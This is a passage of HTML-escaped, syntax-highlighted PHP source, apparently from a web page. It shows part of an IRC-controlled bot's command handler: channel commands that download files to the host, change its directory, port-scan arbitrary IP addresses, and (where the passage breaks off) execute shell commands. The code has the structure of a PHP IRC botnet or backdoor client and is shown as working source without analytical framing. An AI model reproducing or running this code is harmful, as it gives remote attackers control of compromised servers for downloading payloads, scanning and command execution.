261:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;You doesn&#39;t have permission in current directory!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum262&quot;&gt; 262:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum263&quot;&gt; 263:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum264&quot;&gt; 264:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum265&quot;&gt; 265:&lt;/span&gt;                                                                                             $this-&amp;gt;downloadFile($mcmd[1], $mcmd[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum266&quot;&gt; 266:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum267&quot;&gt; 267:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum268&quot;&gt; 268:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum269&quot;&gt; 269:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum270&quot;&gt; 270:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum271&quot;&gt; 271:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Change working bot dir.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum272&quot;&gt; 272:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !cd dir&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum273&quot;&gt; 273:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @example: !cd /etc&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum274&quot;&gt; 274:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum275&quot;&gt; 275:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;cd&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum276&quot;&gt; 276:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($mcmd[1]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum277&quot;&gt; 277:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum278&quot;&gt; 278:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(chdir($mcmd[1]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum279&quot;&gt; 279:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum280&quot;&gt; 280:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Succesfully changed directory!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum281&quot;&gt; 281:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum282&quot;&gt; 282:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum283&quot;&gt; 283:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum284&quot;&gt; 284:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to change directory!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum285&quot;&gt; 285:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum286&quot;&gt; 286:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum287&quot;&gt; 287:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum288&quot;&gt; 288:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum289&quot;&gt; 289:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum290&quot;&gt; 290:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: So-called open port scan.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum291&quot;&gt; 291:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !pscan ip port&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum292&quot;&gt; 292:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !pscan 127.0.0.1 80&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum293&quot;&gt; 293:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum294&quot;&gt; 294:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;pscan&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum295&quot;&gt; 295:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(count($mcmd) &amp;gt; 2)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum296&quot;&gt; 296:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum297&quot;&gt; 297:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(fsockopen($mcmd[1], $mcmd[2], $e, $s, 15))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum298&quot;&gt; 298:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum299&quot;&gt; 299:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;],&lt;span style=&quot;color: #006080&quot;&gt;&quot;IP: [8 &quot;&lt;/span&gt;.$mcmd[1].&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] Port: [8 &quot;&lt;/span&gt;.$mcmd[2].&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] Status: [8 Open ]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum300&quot;&gt; 300:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum301&quot;&gt; 301:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum302&quot;&gt; 302:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum303&quot;&gt; 303:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;],&lt;span style=&quot;color: #006080&quot;&gt;&quot;IP: [8 &quot;&lt;/span&gt;.$mcmd[1].&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] Port: [8 &quot;&lt;/span&gt;.$mcmd[2].&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] Status: [4 Close ]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum304&quot;&gt; 304:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum305&quot;&gt; 305:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum306&quot;&gt; 306:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum307&quot;&gt; 307:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum308&quot;&gt; 308:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum309&quot;&gt; 309:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Execute command&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum310&quot;&gt; 310:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !exec mycommand&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; 